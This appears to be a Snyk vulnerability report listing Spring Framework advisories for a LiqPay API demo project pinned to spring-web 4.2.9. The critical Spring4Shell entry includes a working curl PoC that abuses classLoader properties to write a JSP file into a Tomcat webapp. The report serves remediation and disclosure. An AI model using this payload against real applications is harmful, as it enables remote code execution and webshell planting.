Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: org.springframework:spring-beans
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.2.20.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via manipulation of ClassLoader that is achievable with a POST HTTP request. This could allow an attacker to execute a webshell on a victim's application (TomCat), or download arbitrary files from the server (Payara/Glassfish).
Note:
Current public exploits require victim applications to be built with JRE version 9 (or above) and to be deployed on either Tomcat, Payara, or Glassfish.
However, we have confirmed that it is technically possible for additional exploits to work under additional application configurations as well.
As such, while we recommend users prioritize first remediating against the configuration described above, for full protection, we also recommend upgrading all vulnerable versions to the fixed
spring-beansversion regardless of the application configuration.
Update Log
- 31/03/2022 - Severity was raised from 8.1 to 9.8
- 08/04/2022 - Advisory was updated to reflect that Snyk's security research team was able to author a working PoC of this vulnerability against applications that are deployed on Payara (which is based on Glassfish).
PoC
1/ docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
2/ ./mvnw install
3/ docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4/ curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
5/ curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Remediation
Upgrade org.springframework:spring-beans to version 5.2.20, 5.3.18 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@6.2.11.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@6.2.11.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-expression@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Incorrect Authorization via the AnnotationsScanner and AnnotatedMethod class. An attacker can gain unauthorized access to sensitive information by exploiting improper resolution of annotations on methods within type hierarchies that use parameterized supertypes with unbounded generics.
Note:
This is only exploitable if security annotations are used on methods in generic superclasses or generic interfaces and the @EnableMethodSecurity feature is enabled.
Remediation
Upgrade org.springframework:spring-core to version 6.2.11 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@4.3.29.RELEASE.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Improper Input Validation. The protections against Reflected File Download attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.
Remediation
Upgrade org.springframework:spring-web to version 4.3.29.RELEASE, 5.0.19.RELEASE, 5.1.18.RELEASE, 5.2.9.RELEASE or higher.
References
high severity
- Vulnerable module: org.springframework:spring-beans
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@6.2.10.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.
Affected versions of this package are vulnerable to Relative Path Traversal when deployed on non-compliant Servlet containers. An unauthenticated attacker could gain access to files and directories outside the intended web root.
Notes:
This is only exploitable if the application is deployed as a WAR or with an embedded Servlet container, the Servlet container does not reject suspicious sequences and the application serves static resources with Spring resource handling.
Applications deployed on Apache Tomcat or Eclipse Jetty are not vulnerable, as long as default security features are not disabled in the configuration.
This vulnerability was also fixed in the commercial versions 6.1.22 and 5.3.44.
Remediation
Upgrade org.springframework:spring-beans to version 6.2.10 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.3.32.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder parses an externally provided URL, and the application subsequently uses that URL. If it contains hierarchical components such as path, query, and fragment it may evade validation.
Remediation
Upgrade org.springframework:spring-web to version 5.3.32, 6.0.17, 6.1.4 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.3.33.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Open Redirect when using UriComponentsBuilder to parse an externally provided URL and perform validation checks on the host of the parsed URL.
Note: This is the same as CVE-2024-22243, but with different input.
Remediation
Upgrade org.springframework:spring-web to version 5.3.33, 6.0.18, 6.1.5 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.3.38.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the form of improper ETag prefix validation when parsing ETags from the If-Match or If-None-Match request headers. An attacker can exploit this vulnerability to cause denial of service by sending a maliciously crafted conditional HTTP request.
Workaround
Users of older, unsupported versions could enforce a size limit on If-Match and If-None-Match headers, e.g. through a Filter.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.springframework:spring-web to version 5.3.38, 6.0.23, 6.1.12 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-expression@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when a user provides a very long SpEL expression.
Remediation
Upgrade org.springframework:spring-expression to version 5.2.24.RELEASE, 5.3.27, 6.0.8 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.3.34.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder is used to parse an externally provided URL and perform validation checks on the host of the parsed URL.
Note: This is the same as CVE-2024-22259 and CVE-2024-22243, but with different input.
Remediation
Upgrade org.springframework:spring-web to version 5.3.34, 6.0.19, 6.1.6 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-beans
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.2.22.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.
Affected versions of this package are vulnerable to Denial of Service (DoS) if it relies on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.springframework:spring-beans to version 5.2.22.RELEASE, 5.3.20 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-expression@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a crafted SpEL expression.
Remediation
Upgrade org.springframework:spring-expression to version 5.2.23.RELEASE, 5.3.26, 6.0.7 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-expression@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) by providing a specially crafted SpEL expression, that might result in an OutOfMemoryError.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.springframework:spring-expression to version 5.2.20.RELEASE, 5.3.17 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.2.19.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.2.19.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-expression@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Improper Input Validation when a user provides malicious input, causing insertion of additional log entries.
Remediation
Upgrade org.springframework:spring-core to version 5.2.19.RELEASE, 5.3.14 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.2.18.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.2.18.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-expression@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Improper Output Neutralization for Logs when a user provides malicious input, causing insertion of additional log entries.
Remediation
Upgrade org.springframework:spring-core to version 5.3.12, 5.2.18 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-context
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the patterns for disallowedFields on a DataBinder. As a result, a field is not effectively protected unless it is listed with both upper and lower case for the first character of the field, including nested fields within the property path.
Remediation
Upgrade org.springframework:spring-context to version 5.2.21, 5.3.19 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@4.3.20.RELEASE.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious user could add a range header with a high number of ranges, or with wide ranges that overlap, or both, for a denial of service attack.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
